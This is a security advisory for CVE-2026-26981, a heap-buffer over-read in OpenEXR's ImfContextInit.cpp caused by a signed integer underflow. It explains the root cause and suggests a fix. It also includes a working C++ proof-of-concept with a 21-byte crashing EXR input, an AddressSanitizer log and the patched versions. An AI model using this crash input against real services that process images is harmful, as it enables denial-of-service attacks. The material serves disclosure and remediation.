CVE-2026-26981: OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp
Summary
A heap-buffer-overflow (OOB read) occurs in the istreamnonparallelread function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to sizet, resulting in a massive length being passed to memcpy.
Affected Version
- OpenEXR main branch (commit at time of testing) - src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136
Root Cause
ImfContextInit.cpp:121-126:
cpp int64t streamsz = s->size (); // e.g., 21 (actual file size) int64t nend = nread + (int64t)sz; // e.g., 17 + 4096 = 4113 if (streamsz > 0 && nend > streamsz) { sz = streamsz - nend; // 21 - 4113 = -4092 (signed) } // ... memcpy (buffer, data, sz); // sz is sizet → wraps to 0xFFFFFFFFFFFFF004
sz is of type sizet (unsigned), but streamsz - nend yields a negative int64t value. This negative value is implicitly converted to sizet, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = streamsz - nend → sz = streamsz - nread
Reproduce
Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
cpp #include <cstdint> #include <cstring> #include <iostream>
#include <ImfMultiPartInputFile.h> #include <ImfInputPart.h> #include <ImfHeader.h>
OPENEXRIMFINTERNALNAMESPACEHEADERENTER
class MemMapIStream : public IStream { public: MemMapIStream (const uint8t data, sizet len) : IStream ("pocinput") , data (reinterpretcast<const char> (data)) , size (staticcast<int64t> (len)) , pos (0) {}
bool isMemoryMapped () const override { return true; }
bool read (char c[], int n) override { int64t avail = (pos < size) ? (size - pos) : 0; int64t copy = (staticcast<int64t> (n) < avail) ? n : avail; if (copy > 0) memcpy (c, data + pos, copy); pos += n; return pos <= size; }
char readMemoryMapped (int n) override { if (pos + n > size) throw IEXNAMESPACE::InputExc ("read past end"); const char p = data + pos; pos += n; return constcast<char> (p); }
uint64t tellg () override { return staticcast<uint64t> (pos); } void seekg (uint64t pos) override { pos = staticcast<int64t> (pos); }
int64t size () override { return size; }
private: const char data; int64t size; int64t pos; };
OPENEXRIMFINTERNALNAMESPACEHEADEREXIT
int main () { static const uint8t crashdata[] = { 0x76, 0x2f, 0x31, 0x01, 0x02, 0x06, 0x00, 0x00, 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00, 0x20, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00 };
try { Imf::MemMapIStream stream (crashdata, sizeof (crashdata)); Imf::MultiPartInputFile file (stream); } catch (const std::exception& e) { std::cout << "Exception: " << e.what () << "\n"; }
return 0; }
PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drivelink
ASAN Log
==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096) #0 0x62aee9fc732a in asanmemcpy (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aeea0e3377 in Imf40::istreamnonparallelread(privexrcontextt const, void, void, unsigned long, unsigned long, int ()(privexrcontextt const, int, char const, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21 #2 0x62aeea15e75b in dispatchread /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16 #3 0x62aeea19da19 in scratchseqskip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:202:29 #4 0x62aeea197ec9 in checkpopulatetiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:1560:9 #5 0x62aeea197ec9 in checkreqattr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2020:24 #6 0x62aeea197ec9 in pullattr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2085:10 #7 0x62aeea197ec9 in internalexrparseheader /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parseheader.c:2848:18 #8 0x62aeea15f578 in exrstartread /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49 #9 0x62aeea0d8130 in Imf40::Context::Context(char const, Imf40::ContextInitializer const&, Imf40::Context::readmodet) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10 #10 0x62aeea0633ab in Imf40::MultiPartInputFile::MultiPartInputFile(char const, Imf40::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7 #11 0x62aeea0649de in Imf40::MultiPartInputFile::MultiPartInputFile(Imf40::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7 #12 0x62aeea00d522 in fuzzcppheaders(char const, unsigned long) /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:167:31 #13 0x62aeea00d522 in fuzzcppapi(char const, unsigned long) /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:460:5 #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exrdecodefuzzer.cc:927:5 #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #19 0x71035ee2a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #20 0x71035ee2a28a in libcstartmain csu/../csu/libc-start.c:360:3 #21 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
0x503000000235 is located 0 bytes after 21-byte region 0x503000000220,0x503000000235) allocated by thread T0 here: #0 0x62aeea007c61 in operator new[ (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) #5 0x71035ee2a1c9 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #6 0x71035ee2a28a in libcstartmain csu/../csu/libc-start.c:360:3 #7 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exrdecodefuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in asanmemcpy ==305348==ABORTING
Impact
- DoS — Any application that opens a crafted EXR file will crash immediately - CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow) - Affects any application using an IStream implementation where isMemoryMapped() returns true
Other sources
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the istreamnonparallelread function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to sizet, resulting in a massive length being passed to memcpy. Versions 3.3.7 and 3.4.5 contain a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-26981?
CVE-2026-26981 has been classified as a high-severity vulnerability due to its potential for heap-buffer overflows.
How do I fix CVE-2026-26981?
To mitigate CVE-2026-26981, upgrade OpenEXR to version 3.3.7 or 3.4.5 or later.
What versions of OpenEXR are affected by CVE-2026-26981?
CVE-2026-26981 affects OpenEXR versions 3.3.0 to 3.3.6 and 3.4.0 to 3.4.4.
What type of vulnerability is CVE-2026-26981?
CVE-2026-26981 is a heap-buffer overflow vulnerability caused by a signed integer underflow.
Can CVE-2026-26981 be exploited remotely?
Yes, CVE-2026-26981 can potentially be exploited remotely if an attacker can manipulate the input data processed by the affected software.